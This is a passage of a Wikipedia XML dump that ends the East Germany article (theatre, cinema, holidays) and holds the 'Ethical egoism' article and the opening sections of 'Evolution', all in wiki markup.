In the 1950s the Swiss [[Benno Besson]] had success with &quot;The Dragon&quot; by [[Jewgenij Schwarz]], so that he travelled with [[Deutsches Theater]] all-around Europe and Asia (also in Japan). He became the Intendant at [[Volksbühne]] in the 1960s and worked often with [[Heiner Müller]].

Because of censorship a lot of artists left the GDR from 1975. A parallel development was that some artists went to small-city theaters, to create theater beyond [[Berlin]]. For example [[Peter Sodann]] founded the [[neues theater]] in [[Halle/Saale]] and [[Frank Castorf]] was at theater [[Anklam]].

Theater and Cabaret had a very important status in the GDR for the people and so it was a very active and movable scene, which was reason for its contention with the state. Benno Besson said once about that: ''&quot;At least they took us serious, we had a bearing.&quot;''

Important theaters:
*[[Deutsches Theater]] [http://www.deutsches-theater.de]
*[[Berliner Ensemble]] [http://www.berliner-ensemble.de]
*[[Volksbühne]] [http://www.volksbuehne-berlin.de]
*[[Maxim Gorki Theater]] [http://www.gorki.de]

===Cinema===
In the GDR, the movie industry was very active. The head-group for film-productions was the [[DEFA]] [http://www.defa-stiftung.de], ''Deutsche Film AG'', which was subdivided in different local groups, for example ''Gruppe [[Berlin]]'', ''Gruppe [[Babelsberg]]'' or ''Gruppe [[Johannisthal]]'', where the local teams shot and produced films. Besides folksy movies, the movie-industry became known worldwide for its productions, especially children movies (&quot;[[Das kalte Herz]]&quot;, picturizations of fairy-tales according to [[Grimm]]-brothers and also modern productions like &quot;[[Das Schulgespenst]]&quot;).

Movies about persecution of Jews in Third Reich like &quot;[[Jacob the Liar|Jakob der Lügner]]&quot; and the resistance against fascism &quot;[[Fünf Patronenhülsen]]&quot; (both directed by [[Frank Beyer]]) became internationally famous.

Also movies about the problems in daily life like &quot;[[Die Legende von Paul und Paula]]&quot; (directed by [[Heiner Carow]]) or &quot;[[Solo Sunny]]&quot; (directed by [[Konrad Wolf]] and [[Wolfgang Kohlhaase]]) were very popular.

The film industry was remarkable for its production of westerns, in which the [[Native Americans in the United States|Indians]] often took the role of displaced people, who fight for their rights, in opposite to the American western, in which they are often not mentioned or play the villains. [[Gojko Mitic|Gojko Mitić]] is the most famous actor in this part, often playing the righteous, kindhearted and charming chief (&quot;[[Die Söhne der großen Bärin]]&quot; directed by [[Josef Mach]]). He became honorary chief of the tribe of [[Sioux]], when he visited the [[United States of America]] in the 90s, and the television-team accompanying him showed the tribe one his movies. 
It was part of a temporal phenomenon of Europe producing alternative films about the colonization of America, look up also [[Spaghetti Western|Italowestern]] and the West German [[Winnetou]] films (adaptations of novels of [[Karl May]]).

Because of censorship a certain number of very remarkable movies were forbidden at this time and reissued after the [[Wende]] in [[1990]]. Examples are &quot;[[Spur der Steine]]&quot; (directed by [[Frank Beyer]]) and &quot;[[Der geteilte Himmel]]&quot; (directed by [[Konrad Wolf]]).

In cinemas of the GDR, not only own productions were shown. Besides the Czech, Polish a.s.o. productions also certain foreign movies were shown, but the numbers were limited because it did cost foreign exchange to buy the licences. Certainly movies representing or glorifying capitalistic ideology were not bought. So, for example &quot;[[Grease (film)|Grease]]&quot; was not shown, but &quot;[[One Flew Over The Cuckoo's Nest]]&quot; was. Comedies enjoyed great popularity, such as the Danish &quot;[[Olsen Gang]]&quot; or movies with the French comedian [[Louis de Funès]].

===Holidays===
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|-
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | Date
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | English Name
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | Local Name
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | Remarks
|-
| [[January 1]]
| [[New Year's Day]]
| Neujahr
| &amp;nbsp;
|-
| [[March 8]]
| [[International Women's Day]]
| Tag der Frau
| &amp;nbsp;
|-
| ''[[Moveable feast]]''
| [[Good Friday]]
| Karfreitag
| &amp;nbsp;
|-
| ''[[Moveable feast]]''
| [[Easter Sunday]]
| Ostersonntag
| &amp;nbsp;
|-
| ''[[Moveable feast]]''
| [[Easter Monday]]
| Ostermontag
| &amp;nbsp;
|-
| [[May 1]]
| [[May Day]]
| Tag der Arbeit
| Labour Day
|-
| ''[[Moveable feast]]''
| [[Father's Day]] / [[Ascension Day]]
| Vatertag / Christi Himmelfahrt
| thursday after the 5. sunday after [[Easter]]
|-
| ''[[Moveable feast]]''
| [[Pentecost|Whitmonday]]
| Pfingstmontag
| 50 days after Easter Sunday

|-
| [[October 7]]
| Republic Day
| Tag der Republik
| National holiday
|-
| [[December 25]]
| [[Christmas Day]]
| 1. Weihnachtsfeiertag
| &amp;nbsp;
|-
| [[December 26]]
| [[Boxing Day]]
| 2. Weihnachtsfeiertag
| &amp;nbsp;
|}

==Miscellaneous topics==
{{main|List of German Democratic Republic-related topics}}
{{col-begin}}
{{col-4}}
*[[Germany]]
*[[West Germany]]
*[[History of Germany since 1945]]
*[[History of East Germany]]
*[[Berlin]]
*[[East Berlin]]
*[[West Berlin]]
*[[Bonn]]

{{col-4}}
'''Forces'''
*[[National People's Army]]
*[[Stasi]]
*[[Volkspolizei]]
*[[Conscientious objection in East Germany]]

{{col-4}}
'''Media'''
*[[Aktuelle Kamera]], GDR's main TV news show
*[[Radio Berlin International]]
*[[Der Tunnel]], a film about a mass evacuation to West Berlin through a tunnel
*[[Broadcasting in East Germany]]

{{col-4}}
'''Other'''
*[[Interflug]] - The airline of the GDR
*[[Tourism in East Germany]]
*[[Education in East Germany]]
*[[GDR jokes]]
*[[Ostalgie]]
*Highest point: [[Fichtelberg]] (1,214 m)*
{{col-end}}

==External links==
{{commonscat|GDR}}
*[http://montages.blogspot.com/2005/01/politics-of-mourning.html &quot;The Politics of Mourning&quot;]
*[http://www.axishistory.com/index.php?id=5528 AHF - Nationale Volksarmee (NVA)]
*[http://www.auferstanden-aus-ruinen.de/ Auferstanden aus Ruinen]
*[http://home.att.net/~rw.rynerson/daruber.htm On the Other Side of the Wall - An American living in East Berlin.]
*[http://www.calvin.edu/cas/gpa/gdrmain.htm Translations of propaganda materials from the GDR.]

&lt;hr align=&quot;center&quot; noshade size=&quot;4&quot; width=&quot;100%&quot;&gt;
&lt;center&gt;[[Countries of the world]] &amp;nbsp;|&amp;nbsp; [[Europe]]&lt;/center&gt;

[[Category:1949 establishments]]
[[Category:1989 disestablishments]]
[[Category:Cold War]]
[[Category:East Germany| ]]
[[Category:Former countries in Europe|Germany, East]]

[[af:Duitse Demokratiese Republiek]]
[[als:Deutsche Demokratische Republik]]
[[ast:República Democrática Alemana]]
[[ca:República Democràtica Alemanya]]
[[cs:Německá demokratická republika]]
[[da:DDR]]
[[de:Deutsche Demokratische Republik]]
[[et:Saksa DV]]
[[es:República Democrática Alemana]]
[[eo:Germana Demokratia Respubliko]]
[[fr:République démocratique allemande]]
[[gl:Alemaña do Leste]]
[[ko:독일민주공화국]]
[[io:DDR]]
[[id:Jerman Timur]]
[[it:Germania Est]]
[[he:גרמניה המזרחית]]
[[ms:Jerman Timur]]
[[nl:Duitse Democratische Republiek]]
[[nds:Düütsche Demokraatsche Republiek]]
[[ja:ドイツ民主共和国]]
[[no:Den tyske demokratiske republikk]]
[[nn:Den tyske demokratiske republikken]]
[[pl:Niemiecka Republika Demokratyczna]]
[[pt:Alemanha Oriental]]
[[ro:DDR]]
[[ru:Германская Демократическая Республика]]
[[simple:East Germany]]
[[sl:Nemška demokratična republika]]
[[sr:Источна Немачка]]
[[fi:Saksan demokraattinen tasavalta]]
[[sv:Östtyskland]]
[[th:ประเทศเยอรมนีตะวันออก]]
[[zh:德意志民主共和国]]</text>
    </revision>
  </page>
  <page>
    <title>Empirical Research</title>
    <id>9234</id>
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      <text xml:space="preserve">#REDIRECT [[Empirical research]]
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  </page>
  <page>
    <title>Ethical egoism</title>
    <id>9235</id>
    <revision>
      <id>40962452</id>
      <timestamp>2006-02-24T03:36:32Z</timestamp>
      <contributor>
        <ip>200.69.166.68</ip>
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      <text xml:space="preserve">:''For other uses, see [[Egoism]] (disambiguation).''

'''Ethical egoism''' is belief that one ''ought'' to do what is in one's own self-interest. What is in one's self-interest may ''incidentally'' be detrimental to others, beneficial to others, or neutral in its effect. Ethical egoism is not to be confused with [[rational egoism]], which holds that it is rational to act in one's self-interest, but not that it is ethically imperative.

Ethical egoism does not necessitate that individuals disregard the well-being of others, nor does it require that an individual refrain from taking the well-being of others into consideration. It allows for the possibility of either as long as what is chosen is efficacious in satisfying self-interest.  For some, it is the philosophical basis of their espousal of [[anarchism]] which advocates that individuals do not coercively prevent others from exercising freedom of action.

Ethical [[egoism]] is in contrast with the ethical doctrine of [[altruism]] which holds that individuals have an ethical obligation to help or serve others. A philosophy holding that one should be honest, just, benevolent etc., ''because'' those virtues serve one's self-interest is egoistic; one holding that one should practice those virtues for reasons other than self-interest is not egoistic.

Many contend that the view is implausible on its face, and that those who advocate it seriously usually do so at the expense of redefining &quot;self-interest&quot; to include the interests of others. Or, it may be argued that harming or enslaving others is what is one's best self-interest. An ethical egoist might counter this by asserting that furthering the ends of others is sometimes the best means of furthering one's own ends, or that simply by allowing liberty to others one's self-interest is resultingly furthered.

On the other hand, ethical egoism has also been identified as the basis for [[immorality]]. For instance, [[Thomas Jefferson]] wrote in a letter to Thomas Law, in 1814:

:Self-interest, or rather self-love, or '''egoism,''' has been more plausibly substituted as the basis of morality. But I consider our relations with others as constituting the boundaries of morality. With ourselves, we stand on the ground of identity, not of relation, which last, requiring two subjects, excludes self-love confined to a single one. To ourselves, in strict language, we can owe no duties, obligation requiring also two parties. '''Self-love, therefore, is no part of morality. Indeed, it is exactly its opposite.'''

Ethical egoism is present in the philosophies of individuals such as [[Friedrich Nietzsche]] , [[Soren Kierkegaard]] and [[Max Stirner]] (who was the first philosopher to call himself an egoist). Others, such as [[Ayn Rand]], [[Thomas Hobbes]], and [[David Gauthier]], have argued that the conflicts which arise when people each pursue their own ends can be resolved for the best of each individual only if they all voluntarily forgo some of their aims &amp;mdash; that is, one's self-interest is often best pursued by allowing others to pursue their self-interest as well so that liberty is equalized among individuals. Sacrificing one's short-term self-interest in order to maximize one's long-term self-interest is known as &quot;rational self-interest.&quot; And, this is the idea behind most philosophers' advocacy of ethical egoism. 

As Nietzsche (in ''Beyond Good and Evil'') and [[Alasdair MacIntyre]] (in ''After Virtue'') are famous for pointing out, the ancient Greeks did not associate [[morality]] with altruism in the way that post-Christian [[Western civilization]] has done. Consequently, followers of Rand may argue that Greeks like [[Aristotle]] (for whom pride was a virtue) were ethical egoists. However, Nietzsche, MacIntyre, and the Greeks do not associate ethical egoism with morality, either.   Aristotle's view, for example, is that we have duties to ourselves as well as to other people (e.g. friends) and to the ''[[polis]]'' as a whole.

The term ''ethical egoism'' has also been applied retroactively to philosophers such as [[Bernard de Mandeville]] and to many other [[materialist]]s of his generation, but none of them declared themselves to be egoists. One must also note that being a materialist does not necessarily imply egoism, as indicated by [[Karl Marx]], and many other materialists, who espoused various forms of [[collectivism|collectivist]] altruism.

Ethical egoism is opposed not only by [[secular]] altruist philosophies, but also by the majority of [[religion]]s. Most religions hold that ethical egoism is the product of a lack of genuine spirituality and shows an individual's submersion in [[Greed (emotion)|greed]]. Particularly anti-egoist religions are [[Christianity]], [[Hinduism]] and [[Buddhism]] (see [[Atman]], [[Anatman]] and [[Pudgalavada]]). In the [[Judeo-Christian]] tradition, the pursuit of the individual's ends without consideration of the greater good is the basis for [[sin]].

==See also==
[[Altruism (ethics)]]

==External links==
*[http://plato.stanford.edu/entries/egoism// Stanford Encyclopedia of Philosophy entry on Egoism]
*[http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&amp;va=egoism+ Merriam-Webster Dictionary entry for ''egoism'']

[[Category:Ethics]]

[[de:Ethischer Egoismus]]
[[es:Egoísmo (moral)]]
[[pl:Egoizm etyczny]]
[[fi:Eettinen egoismi]]</text>
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  </page>
  <page>
    <title>Evolution</title>
    <id>9236</id>
    <revision>
      <id>42162884</id>
      <timestamp>2006-03-04T05:59:35Z</timestamp>
      <contributor>
        <username>Jeffrey O. Gustafson</username>
        <id>158658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.20.24.198|24.20.24.198]] ([[User talk:24.20.24.198|talk]]) to last version by 206.248.87.64</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[evolution (disambiguation)]].}}

[[Image:PhylogeneticTree.jpg|thumb|350px|A speculative [[phylogenetic tree]] of [[evolutionary tree|all living things]], based on [[non-coding RNA|rRNA]] [[gene]] data, showing the separation of the three domains, [[bacterium|bacteria]], [[archaea]], and [[eukaryote]]s.]]

In [[biology]], '''evolution''' is the process by which populations of organisms acquire and pass on novel [[Trait (biological)|trait]]s from generation to generation. Its action over large stretches of time explains the origin of [[speciation|new species]] and ultimately the vast diversity of the biological world. Contemporary species are related to each other through [[Common descent|common descent]], products of evolution and speciation over billions of years. The [[phylogenetic tree]] at right represents these relationships for the three major domains of life.

The understanding of evolution is based on the theory of [[natural selection]], which was first proposed in a joint 1858 paper by [[Charles Darwin]] and [[Alfred Russel Wallace]], and achieved a wider readership in Darwin's 1859 book, ''[[The Origin of Species|On The Origin of Species]]'' &lt;ref&gt;Darwin, Charles [[November 24]] [[1859]]. ''On the [[Origin of Species]] by means of Natural Selection or the Preservation of Favoured Races in the Struggle for Life''. London: John Murray, Albemarle Street. 502 pages. Reprinted: Gramercy (May 22, 1995). ISBN 0517123207&lt;/ref&gt;. Natural selection is the idea that individual organisms which possess variations giving them advantageous heritable traits are more likely to survive and reproduce and, in doing so, increase the frequency of such traits in subsequent generations.

In the 1930s scientists combined Darwinian natural selection with the theory of [[Gregor Mendel|Mendelian]] [[heredity]] to create the [[modern evolutionary synthesis]] (often simply called the modern synthesis). The modern synthesis understands evolution to be a change in the frequency of [[allele]]s within a population from one generation to the next. The mechanisms that produce these changes are the basic mechanisms of population genetics: [[natural selection]] and [[genetic drift]] acting on [[genetic variation]] created by [[mutation]], [[sex]], and [[gene flow]].&lt;ref&gt;Understanding Evolution, from California's [[University of California, Berkeley|Berkeley University]].  &quot;[http://evolution.berkeley.edu/evolibrary/article/0_0_0/evo_17] [http://evolution.berkeley.edu/evolibrary/article/0_0_0/evo_16]&lt;/ref&gt; This theory has become the central organizing principle of modern biology. It helps biologists understand topics as diverse as the origin of [[antibiotic resistance]] in bacteria, [[eusociality]] in insects, and the staggering [[biodiversity]] of the living world.

Because of its potential implications for the origins of humankind, the evolutionary theory has been at the center of many social and religious controversies since it was first introduced (see [[Creation-evolution controversy]]).

== History of evolutionary thought ==
{{main|History of evolutionary thought}}

[[Image:Charles Darwin.jpg|thumb|right|200px|[[Charles Darwin]] in 1854, five years before he published ''[[The Origin of Species]]''.]]
[[Image:Charles_Darwin_1881.jpg|thumb|right|200px|[[Charles Darwin]] in 1881,  from ''The Illustrated Origin of Species'' by Charles Darwin, abridged and illustrated by Richard Leakey]]

The idea of biological evolution has existed since ancient times, notably among Hellenists such as [[Epicurus]] and [[Anaximander]], but the modern theory was not established until the 18th and 19th centuries, by scientists such as [[Jean-Baptiste Lamarck]] and [[Charles Darwin]].  While transmutation of species was accepted by a sizeable number of scientists before 1859, it was the publication of Charles Darwin's ''[[The Origin of Species|On The Origin of Species by Means of Natural Selection]]'' which provided the first cogent mechanism by which evolutionary change could occur: his theory of natural selection. Darwin was motivated to publish his work on evolution after receiving a letter from [[Alfred Russel Wallace]], in which Wallace revealed his own discovery of natural selection. As such, Wallace is sometimes given shared credit for the theory [[natural selection]]. 

Darwin's theory, though it succeeded in profoundly shaking scientific opinion regarding the development of life, could not explain the source of variation in traits within a species, and Darwin's proposal of a [[heredity|hereditary]] mechanism ([[pangenesis]]) was not compelling to biologists. Though the occurrence of evolution of some sort became a widely-accepted scientific belief, Darwin's specific ideas about evolution &amp;mdash; that it occurred gradually by natural and sexual selection &amp;mdash; were actively attacked and rejected. From the end of the 19th century through the early-20th century, forms of neo-Lamarckism, &quot;progressive&quot; evolution ([[orthogenesis]]), and an evolution which worked by &quot;jumps&quot; ([[Saltation (biology)|saltationism]], as opposed to [[phyletic gradualism|gradualism]]) became popular, though a form of neo-Darwinism (led by [[August Weismann]]) enjoyed some minor success as well. The biometric school of evolutionary theory resulting from the work of Darwin's cousin, [[Francis Galton]], emerged as well, using statistical approaches to biology which emphasized gradualism and some aspects of natural selection.

When [[Gregor Mendel]]'s work regarding the nature of inheritance in the late [[19th century]] was &quot;rediscovered&quot; in 1900, it was interpreted as potentially supporting an anti-Darwinian &quot;jumping&quot; form of evolution. The convinced Mendelians ([[William Bateson]] and [[Charles Benedict Davenport]]) and biometricians ([[Walter Frank Raphael Weldon]] and [[Karl Pearson]]) became embroiled in a bitter debate, with the Mendelians charging that the biometricians did not understand biology, and the biometricians arguing that most biological traits exhibited continuous variation rather than the &quot;jumps&quot; expected by the early Mendelian theory. However the simple version of the early Mendelians soon gave way to the [[classical genetics]] of [[Thomas Hunt Morgan]] and his school, which thoroughly grounded and articulated the applications of Mendelian laws to biology. Eventually, it was shown that a rigorous statistical approach to Mendelism was reconcileable with the data of the biometricians in the work of biologist and statistician [[R.A. Fisher]] in the 1930s. Following this, the work of population geneticists and zoologists in the 1930s and 1940s was able to create a model of Darwinian evolution compatible with the science of genetics, which became known as the [[modern evolutionary synthesis]].  

In the 1940s, following up on [[Griffith's experiment]], [[Oswald Avery|Avery]], [[Colin McCleod|McCleod]] and [[Maclyn McCarty|McCarty]] definitively identified [[DNA|deoxyribonucleic acid (DNA)]] as the &quot;transforming principle&quot; responsible for transmitting genetic information. In [[1953]], [[Francis Crick]] and [[James Watson]] published their famous paper on the structure of DNA, based on the research of [[Rosalind Franklin]] and [[Maurice Wilkins]]. These developments ignited the era of [[molecular biology]] and transformed the understanding of evolution into a molecular process: the [[mutation]] of segments of DNA (see [[molecular evolution]]).

[[George C. Williams]]' 1966 ''Adaptation and natural selection: A Critique of some Current Evolutionary Thought'' marked a departure from the idea of group selection towards the modern notion of the gene as the unit of selection. In the mid-[[1970s]], [[Motoo Kimura]] formulated the [[neutral theory of molecular evolution]], firmly establishing the importance of [[genetic drift]] as a major mechanism of evolution.

Debates have continued within the field. One of the most prominent public debates was over the theory of [[punctuated equilibrium]], proposed in 1972 by [[paleontology|paleontologists]] [[Niles Eldredge]] and [[Stephen Jay Gould]] to explain the paucity of gradual transitions between species in the fossil record.

==Overview of evolution==
===Evidence of evolution===
{{main|Evidence of evolution}}

The process of evolution has left behind numerous records which reveal the history of different species. While the best-known of these are [[fossil record|the fossils]], fossils are only a small part of the overall physical record of evolution. Fossils, taken together with the [[comparative anatomy]] of present-day plants and animals, constitute the ''morphological'' record. By comparing the anatomies of both modern and extinct species, biologists can reconstruct the lineages of those species with some accuracy. Using fossil evidence, for instance, the connection between [[dinosaur]]s and [[bird]]s has been established by way of so-called &quot;[[Transitional fossil|transitional]]&quot; species such as [[Archaeopteryx]].

The development of [[genetics]] has allowed biologists to study the ''genetic record'' of evolution as well. Although we cannot obtain the [[DNA]] sequences of most extinct species, the degree of similarity and difference among modern species allows geneticists to reconstruct lineages with greater accuracy. It is from genetic comparisons that claims such as the 95% similarity between humans and [[chimpanzee]]s come from, for instance.&lt;ref&gt;Chimpanzee Sequencing and Analysis Consortium (2005) Initial sequence of the chimpanzee genome and comparison with the human genome. Nature 437: 69–87. Britten RJ (2002) Divergence between samples of chimpanzee and human DNA sequences is 5%, counting indels. Proc Natl Acad Sci U S A 99: 13633–13635.&lt;/ref&gt;

Other evidence used to demonstrate evolutionary lineages includes the ''[[geography|geographical]] distribution'' of species. For instance, [[monotreme]]s and most [[marsupial]]s are found only in [[Australia]], showing that their common ancestor with placental mammals lived before the submerging of the ancient [[land bridge]] between Australia and Asia.

Scientists correlate all of the above evidence &amp;ndash; drawn from [[paleontology]], anatomy, genetics, and geography &amp;ndash; with other information about the history of the earth. For instance, [[paleoclimatology]] attests to periodic [[ice age]]s during which the climate was much cooler; and these are found to match up with the spread of species such as the [[woolly mammoth]] which are better-equipped to deal with cold.

====Morphological evidence====
[[Image:Knightia.jpg|right|thumb|220px|Fossil fish of the genus ''[[Knightia]]'']]
[[Fossil]]s are important for estimating when various lineages developed. Since fossilization on an organism is an uncommon occurrence, usually requiring hard parts (like bone) and death near a site where soft [[sediment]]s are being gently deposited, the [[fossil record]] only provides sparse and intermittent information about the evolution of life. Fossil evidence of organisms without hard body parts, such as shell, bone, and teeth, is sparse but exists in the form of ancient microfossils and the fossilization of ancient burrows, ([[Trace fossil|trace fossils]]), and rarer examples of soft-bodied organisms.

Fossil evidence of prehistoric organisms has been found all over the Earth. The age of fossils are typically synchronized with the geologic context in which they are found; many of their absolute ages can be verified with [[radiometric dating]]. Some fossils bear a resemblance to organisms alive today, while others are radically different. Fossils have been used to determine at what time a lineage developed, and ''[[transitional fossil]]s'' can be used to demonstrate continuity between two different lineages. [[Paleontology|Paleontologist]]s investigate evolution largely through analysis of fossils.

[[Phylogenetics]], the study of the ancestry of species, has revealed that structures with similar internal organization may perform divergent functions. [[Vertebrate]] limbs are a common example of such ''homologous structures''. Bat wings, for example, are very similar to hands. A [[vestigial organ]] or structure may exist with little or no purpose in one organism, though they have a clear purpose in other species. The human [[wisdom teeth]] and [[Vermiform appendix|appendix]] are common examples.

====Genetic sequence evidence====
Comparison of the genetic sequence of organisms reveals that [[phylogeny|phylogenetically]] close organisms have a higher degree of sequence similarity than organisms that are phylogenetically distant. For example, neutral human DNA sequences are approximately 1.2% divergent (based on substitutions) from those of their nearest genetic relative, the [[chimpanzee]], 1.6% from [[gorilla]]s, and 6.6% from [[baboon]]s.&lt;ref&gt;Two sources: 'Genomic divergences between humans and other hominoids and the effective population size of the common ancestor of humans and chimpanzees'. and 'Quantitative Estimates of Sequence Divergence for Comparative Analyses of Mammalian Genomes' &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11170892] [http://www.genome.org/cgi/content/full/13/5/813]&quot;&lt;/ref&gt; Sequence comparison is considered a measure robust enough to be used to correct erroneous assumptions in the phylogenetic tree in instances where other evidence is scarce.

Further evidence for common descent comes from genetic detritus such as [[pseudogene]]s, regions of DNA which are [[ortholog]]ous to a gene in a related organism, but are no longer active and appear to be undergoing a steady process of degeneration.&lt;ref&gt;Pseudogene evolution and natural selection for a compact genome. &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10833048]&quot;&lt;/ref&gt;

Since [[metabolism|metabolic]] processes do not leave fossils, research into the evolution of the basic cellular processes is done largely by comparison of existing organisms. Many lineages diverged when new metabolic processes appeared, and it is theoretically possible to determine when certain metabolic processes appeared by comparing the traits of the descendants of a common ancestor.

====Ancestry of organisms====
{{seealso|Common descent}}
In [[biology]], the theory of universal [[common descent]] proposes that all organisms on Earth are descended from a common ancestor or ancestral gene pool (which is called having &quot;common descent&quot;).

Evidence for common descent may be found in traits shared between all living organisms. In Darwin's day, the evidence of shared traits was based solely on visible observation of [[morphology (biology)|morphologic]] similarities, such as the fact that all birds &amp;mdash; even those which do not fly &amp;mdash; have wings. Today, the occurrence of evolution has been strongly confirmed by genetics. For example, every living cell makes use of [[nucleic acid]]s as its genetic material, and uses the same twenty [[amino acid]]s as the building blocks for [[protein]]s. All organisms use the same [[genetic code]] (with some extremely rare and minor deviations) to [[translation (genetics)|translate]] nucleic acid sequences into proteins. The universality of these traits strongly suggests common ancestry, because the selection of  these traits seems somewhat arbitrary.

[[Image:Huxley - Mans Place in Nature.jpg|left|220px|thumbnail|Morphologic similarities in the [[Hominidae]] family is evidence of common descent.]]

The evolutionary process can be exceedingly slow.  Fossil evidence indicates that the diversity and complexity of modern life has developed over much of the age of the earth. [[geology|Geological]] evidence indicates that the Earth is approximately [[Age of the earth|4.6 billion years old]]. (See [[Timeline of evolution]].)

Studies on guppies by David Reznick at the University of California, Riverside, however, have shown that the rate of evolution through natural selection can proceed 10 thousand to 10 million times faster than what is indicated in the fossil record.&lt;ref&gt;Evaluation of the Rate of Evolution in Natural Populations of Guppies (Poecilia reticulata) &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9072971&amp;query_hl=2]&quot;&lt;/ref&gt;

Information about the early development of life includes input from the fields of geology and [[planetary science]]. These sciences provide information about the history of the Earth and the changes produced by life. A great deal of information about the early Earth has been destroyed by geological processes over the course of time.
&lt;br style=&quot;clear:both;&quot;&gt;

====History of life====
&lt;!-- for future reference, heh, here's a ref to stromatolite debate that I took out because it messed up formatting -
&quot;Ancient microfossils from Western Australia are again the subject of heated scientific argument: are they the oldest sign of life on Earth, or just a flaw in the rock?&quot; &quot;[http://www.abc.net.au/science/news/space/SpaceRepublish_497964.htm]&quot; --&gt;
{{main|Timeline of evolution}}
The [[chemical evolution]] from [[Catalyst|self-catalytic chemicals]] to [[life]] (see [[Origin of life]]) is not a part of biological evolution.

[[Image:Stromatolites.jpg|right|thumb|280px|[[Precambrian]] [[stromatolite]]s in the Siyeh Formation, [[Glacier National Park (US)|Glacier National Park]]. In 2002, William Schopf of [[University of California, Los Angeles|UCLA]] published a controversial paper in the journal ''[[Nature (journal)|Nature]]'' arguing that formations such as this possess 3.5 billion year old [[fossil]]ized [[alga]]e microbes. If true, they would be the earliest known life on earth.]]

Not much is known about the earliest developments in life. However, all existing organisms share certain traits, including cellular structure, and [[genetic code]]. Most scientists interpret this to mean all existing organisms share a common ancestor, which had already developed the most fundamental cellular processes, but there is no [[scientific consensus]] on the relationship of the three domains of life ([[Archaea]], [[Bacterium|Bacteria]], [[Eukaryota]]) or the [[origin of life]]. Attempts to shed light on the earliest history of life generally focus on the behavior of [[macromolecule]]s, particularly [[RNA]], and the behavior of [[complex system]]s.

The emergence of oxygenic [[photosynthesis]] (around 3 billion years ago) and the subsequent emergence of an oxygen-rich, non-reducing atmosphere can be traced through the formation of [[Banded iron formation|banded iron]] deposits, and later [[red bed]]s of iron oxides. This was a necessary prerequisite for the development of [[aerobic respiration|aerobic]] [[cellular respiration]], believed to have emerged around 2 billion years ago. 

In the last billion years, simple multicellular plants and animals began to appear in the oceans. Soon after the emergence of the first animals, the [[Cambrian explosion]] (a period of unrivaled and remarkable, but brief, organismal diversity documented in the fossils found at the [[Burgess Shale]]) saw the creation of all the major body plans, or [[phylum (biology)|phyla]], of modern animals. This event is now believed to have been triggered by the development of the [[Homeobox|Hox genes]]. About 500 million years ago, [[plant]]s and [[fungi]] colonized the land, and were soon followed by [[arthropod]]s and other animals, leading to the development of land [[ecosystem]]s with which we are familiar.
{{-}}

=== Misconceptions about modern evolutionary biology ===
Many critics of evolution claim that the theory robs life and the universe of any transcendental meaning.  Indeed, one of the great strengths of evolution by natural selection is that it has no need for a supernatural intelligence or any intelligent design. As [[Louis Menand]] has pointed out, what was radical about Darwin's theory of speciation through natural selection was not the notion of evolution &amp;mdash; a concept people espoused before Darwin, and a word that does not appear in ''The Origin of Species'' &amp;mdash; but his materialism: &quot;Darwin wanted to establish ... that the species &amp;mdash; including human beings &amp;mdash; were created by, and evolve according to, processes that are entirely natural, chance-generated, and blind&quot; (Menand 2001: 121).  

Nevertheless, many critiques of the modern evolutionary thought involve misunderstandings of the theory itself, or of science in general.

====Evolution and devolution====
One of the most common misunderstandings of the theory is that one species can be &quot;more highly evolved&quot; than another, that evolution is necessarily progressive, or that its converse is &quot;[[devolution (fallacy)|devolution]]&quot;. Evolution provides no assurance that later generations are more intelligent, complex, or morally worthy than earlier generations. The claim that evolution results in moral progress is not part of modern evolutionary theory - it was made by [[Social Darwinism|Social Darwinists]] who thought the subjugation of the poor and minority groups was favored by evolution.

Evolution does involve &quot;progression,&quot; however, one one interpretation of that term since the earliest lifeforms were much simpler than many of the species existing today. In that sense, there clearly has been a gradual progression over time from simple organisms to complex - and in some cases intelligent - lifeforms. However, the theory provides no guarantee that any particular organism existing today will become more intelligent, more complex, bigger, or stronger in the future. In fact, evolution can favor lower intelligence, lower complexity, and so on if those traits become a selective disadvantage in the organism's environment. Moreover,

====Speciation====
Another misunderstanding is the claim that [[Speciation|speciation]] &amp;ndash; the origin of new species &amp;ndash; has never been directly observed.  This is a misunderstanding of both science and evolution.  First, scientific discovery does not occur solely through [[Reproducibility|reproducible]] [[Experiment|experiments]]; the principle of [[Uniformitarianism (science)|uniformitarianism]] allows natural scientists to infer causes through their empirical effects.  Second, Darwin provided a compellingly large amount of evidence to support his theory.  Moreover, since the publication of ''On the Origin of Species'' scientists have confirmed Darwin's hypothesis by data gathered from sources that did not exist in his day, such as [[DNA]] similarity among species and new [[Fossil record|fossil]] discoveries. 

[[Image:Darwin's finches.jpeg|thumb|left|125px|The existence of several different, but related, finches on the [[Galapagos Islands]] convinced Darwin of the occurrence of speciation]] 

A variation of this assertion is that &quot;microevolution&quot;  has been observed and &quot;macroevolution&quot; has not been observed. Some creationists redefine [[macroevolution]] as a change from one &quot;kind&quot; to another. One of Darwin's key insights was to view species statistically &amp;mdash; that is, a &quot;species&quot; is not a homogeneous and immutable thing; rather, it consists of a mass of individuals that vary in form from one another and from their offspring.  This view was substantiated with the development of Mendelian genetics, which distinguishes different species in terms of differences in the frequencies of particular genes.  &quot;Microevolution&quot; and &quot;macroevolution&quot; both refer fundamentally to the same thing, changes in gene frequencies.  The difference between them is primarily one of scale; that is, qualitative differences between species is the result of quantitative differences in gene frequencies.  Commonly, macroevolution is defined as microevolution over a longer timescale.  Some scientists, such as Stephen Jay Gould, use the term macroevolution to instead describe evolutionary processes that occur at the level of species or above.

Evidence of the mechanisms for the larger scales of time comes from evidence of the mechanisms for the smaller scales of time. The differences between macroevolution and microevolution are a result of this change of scale and do not necessitate mechanisms of change other than those already found in microevolution.
